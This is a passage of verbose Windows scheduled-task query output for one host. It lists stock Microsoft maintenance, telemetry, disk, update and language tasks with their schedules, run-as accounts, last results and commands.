Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\CloudExperienceHost
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CloudExperienceHost\CreateObjectTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Customer Experience Improvement Program
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Customer Experience Improvement Program\Consolidator
Next Run Time: 4/2/2023 6:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %SystemRoot%\System32\wsqmcons.exe
Start In: N/A
Comment: If the user has consented to participate in the Windows Customer Experience Improvement Program, this job collects and sends usage data to Microsoft.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 12:00:00 AM
Start Date: 1/2/2004
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 6 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Customer Experience Improvement Program\UsbCeip
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:21 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: The USB CEIP (Customer Experience Improvement Program) task collects Universal Serial Bus related statistics and information about your machine and sends it to the Windows Device Connectivity engineering group at Microsoft. The information received is
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Data Integrity Scan
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Data Integrity Scan\Data Integrity Scan
Next Run Time: 4/13/2023 9:48:19 PM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Scans fault-tolerant volumes for latent corruptions
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Weekly
Start Time: 11:00:00 PM
Start Date: 1/1/2011
End Date: N/A
Days: SAT
Months: Every 4 week(s)
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Data Integrity Scan\Data Integrity Scan
Next Run Time: 4/15/2023 11:41:05 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Scans fault-tolerant volumes for latent corruptions
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Data Integrity Scan\Data Integrity Scan for Crash Recovery
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Scans fault-tolerant volumes for fast crash recovery
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Defrag
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Defrag\ScheduledDefrag
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:20 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\defrag.exe -c -h -k -g -$
Start In: N/A
Comment: This task optimizes local storage drives.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Device Information
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Device Information\Device
Next Run Time: 4/3/2023 4:47:43 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\devicecensus.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 96:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 3:00:00 AM
Start Date: 9/1/2008
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 24 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Device Information\Device
Next Run Time: 4/3/2023 3:34:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\devicecensus.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 96:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Diagnosis
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Diagnosis\Scheduled
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:22 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: The Windows Scheduled Maintenance Task performs periodic maintenance of the computer system by fixing problems automatically or reporting them through Security and Maintenance.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\DirectX
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DirectX\DXGIAdapterCache
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:53 AM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\dxgiadaptercache.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DirectX\DXGIAdapterCache
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:53 AM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\dxgiadaptercache.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\DiskCleanup
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DiskCleanup\SilentCleanup
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:22 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
Start In: N/A
Comment: Maintenance task used by the system to launch a silent auto disk cleanup when running low on free disk space.
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:15:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\DiskDiagnostic
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:22 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\rundll32.exe dfdts.dll,DfdGetDefaultPolicyAndSMART
Start In: N/A
Comment: The Windows Disk Diagnostic reports general disk and system information to Microsoft for users participating in the Customer Experience Program.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\DFDWiz.exe
Start In: N/A
Comment: The Microsoft-Windows-DiskDiagnosticResolver warns users about faults reported by hard disks that support the Self Monitoring and Reporting Technology (S.M.A.R.T.) standard. This task is triggered automatically by the Diagnostic Policy Service when a S.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\DiskFootprint
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DiskFootprint\Diagnostics
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\disksnapshot.exe -z
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\DiskFootprint\StorageSense
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:21 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\EDP
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\EDP\EDP App Launch Task
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\EDP\EDP Auth Task
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\EDP\EDP Inaccessible Credentials Task
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\EDP\StorageCardEncryption Task
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\ExploitGuard
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Task for applying changes to the machine's Exploit Protection settings.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Task for applying changes to the machine's Exploit Protection settings.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:50 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Task for applying changes to the machine's Exploit Protection settings.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\File Classification Infrastructure
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\File Classification Infrastructure\Property Definition Sync
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Synchronizes the File Classification Infrastructure taxonomy on the computer with the resource property definitions stored in Active Directory Domain Services.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 1 minutes
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 3:00:00 AM
Start Date: 11/9/2006
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\Flighting
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\Flighting\FeatureConfig
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Flighting\FeatureConfig\ReconcileFeatures
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:49:49 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Task periodically reconciling feature configurations
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Flighting\OneSettings
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Flighting\OneSettings\RefreshCache
Next Run Time: 4/2/2023 11:26:22 PM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: -2147020576
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Task periodically refreshing data for OneSettings clients.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 11:57:07 AM
Start Date: 8/20/2020
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 23 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\InstallService
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\ScanForUpdates
Next Run Time: 4/3/2023 2:01:13 AM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 5:00:00 PM
Start Date: 12/31/2013
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 24 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\ScanForUpdates
Next Run Time: 4/2/2023 11:31:59 PM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\ScanForUpdates
Next Run Time: 4/2/2023 6:33:56 PM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only
Start Time: 5:00:00 PM
Start Date: 12/31/2013
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\ScanForUpdatesAsUser
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\WakeUpAndContinueUpdates
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\InstallService\WakeUpAndScanForUpdates
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for minutes, If Not Idle Retry For minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 5:00:00 PM
Start Date: 12/31/2013
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 24 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\LanguageComponentsInstaller
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\LanguageComponentsInstaller\Installation
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:18 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Install language components that match the user's language list.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\LanguageComponentsInstaller\Installation
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
